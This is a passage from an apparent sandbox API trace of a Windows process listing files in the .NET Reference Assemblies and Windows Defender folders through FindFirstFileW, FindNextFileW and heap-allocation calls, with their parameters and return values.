cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5763aadc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5763aadc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x132000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsBase.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57660d39, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57660d39, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0x13985000, ftLastWriteTime.dwHighDateTime=0x1d2837f, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="WindowsFormsIntegration.dll", cAlternateFileName="")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a3c8b9, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4f05e1c, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4f2bdbb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 1 [0268.108] FindNextFileW (in: hFindFile=0x33e4d28, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe7a3c8b9, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe4f05e1c, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe4f2bdbb, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0xa12, dwReserved0=0x0, dwReserved1=0x0, cFileName="WinFXList.xml", cAlternateFileName="WINFXL~1.XML")) returned 0 [0268.109] FindClose (in: hFindFile=0x33e4d28 | out: hFindFile=0x33e4d28) returned 1 [0268.109] GetProcessHeap () returned 0xc10000 [0268.109] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0268.109] FindNextFileW (in: hFindFile=0x33e49a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a8888e, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0268.109] GetProcessHeap () returned 0xc10000 [0268.109] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0268.109] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a8888e, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e49e8 [0268.111] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7a8888e, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.112] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x1a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Conversion.v3.5.dll", cAlternateFileName="")) returned 1 [0268.112] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Engine.dll", cAlternateFileName="")) returned 1 [0268.112] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x9000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Framework.dll", cAlternateFileName="")) returned 1 [0268.113] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x17000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Build.Utilities.v3.5.dll", cAlternateFileName="")) returned 1 [0268.113] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573b2245, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573b2245, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.VisualC.STLCLR.dll", cAlternateFileName="")) returned 1 [0268.113] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RedistList", cAlternateFileName="REDIST~1")) returned 1 [0268.113] GetProcessHeap () returned 0xc10000 [0268.113] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0268.113] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4828 [0268.114] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.114] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5738bfdc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5738bfdc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 1 [0268.114] FindNextFileW (in: hFindFile=0x33e4828, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5738bfdc, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5738bfdc, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2fa0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FrameworkList.xml", cAlternateFileName="")) returned 0 [0268.114] FindClose (in: hFindFile=0x33e4828 | out: hFindFile=0x33e4828) returned 1 [0268.114] GetProcessHeap () returned 0xc10000 [0268.114] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0268.114] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="SubsetList", cAlternateFileName="SUBSET~1")) returned 1 [0268.114] GetProcessHeap () returned 0xc10000 [0268.115] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d2fe0 [0268.115] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\SubsetList\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0268.115] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe7aaecd3, ftCreationTime.dwHighDateTime=0x1d5d810, ftLastAccessTime.dwLowDateTime=0xe7aaecd3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7aaecd3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.115] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 1 [0268.115] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd76, dwReserved0=0x0, dwReserved1=0x0, cFileName="Client.xml", cAlternateFileName="")) returned 0 [0268.115] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0268.115] GetProcessHeap () returned 0xc10000 [0268.115] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d2fe0 | out: hHeap=0xc10000) returned 1 [0268.115] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.Contract.dll", cAlternateFileName="")) returned 1 [0268.115] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.AddIn.dll", cAlternateFileName="")) returned 1 [0268.115] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xe000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ComponentModel.DataAnnotations.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573fe702, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573fe702, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xa4000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Core.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xd000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.DataSetExtensions.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573fe702, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573fe702, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x38000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.Design.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573fe702, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573fe702, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd59b2c00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x2bf000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Entity.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57424968, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57424968, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xa7000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Linq.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57424968, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57424968, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x71000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Client.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57424968, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57424968, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x28000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.Design.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0xaa000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Data.Services.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x47000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.DirectoryServices.AccountManagement.dll", cAlternateFileName="")) returned 1 [0268.116] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x573d84a2, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x573d84a2, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x23000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.dll", cAlternateFileName="")) returned 1 [0268.117] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5744abc5, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x5744abc5, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd6cc5900, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x3a000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Net.dll", cAlternateFileName="")) returned 1 [0268.117] FindNextFileW (in: hFindFile=0x33e49e8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x57365d86, ftCreationTime.dwHighDateTime=0x1d327be, ftLastAccessTime.dwLowDateTime=0x57365d86, ftLastAccessTime.dwHighDateTime=0x1d327be, ftLastWriteTime.dwLowDateTime=0xd469ff00, ftLastWriteTime.dwHighDateTime=0x1d2837e, nFileSizeHigh=0x0, nFileSizeLow=0x8b000, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.ServiceModel.Web.dll", cAlternateFileName="")) returned 1 [0268.118] GetProcessHeap () returned 0xc10000 [0268.118] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0268.118] GetProcessHeap () returned 0xc10000 [0268.118] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0268.119] GetProcessHeap () returned 0xc10000 [0268.119] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x38f0050 | out: hHeap=0xc10000) returned 1 [0268.120] GetProcessHeap () returned 0xc10000 [0268.120] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33c1f98 | out: hHeap=0xc10000) returned 1 [0268.121] GetProcessHeap () returned 0xc10000 [0268.121] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33c1f98 [0268.121] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Defender\\*", lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe8d82602, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe8d82602, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0268.280] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5f450 | out: lpFindFileData=0x2e5f450*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc41d3f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0268.280] GetProcessHeap () returned 0xc10000 [0268.281] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x38f0050 [0268.281] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files (x86)\\Windows Defender\\en-US\\*", lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc41d3f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ee8 [0268.282] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbc41d3f3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0268.283] FindNextFileW (in: hFindFile=0x33e4ee8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x401d6034, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0x7b19a1d2, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xcd996200, ftLastWriteTime.dwHighDateTime=0x1d29fa4, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x0, dwReserved1=0x0, cFileName="EppManifest.dll.mui", cAlternateFileName="")) returned 1 [0268.283] 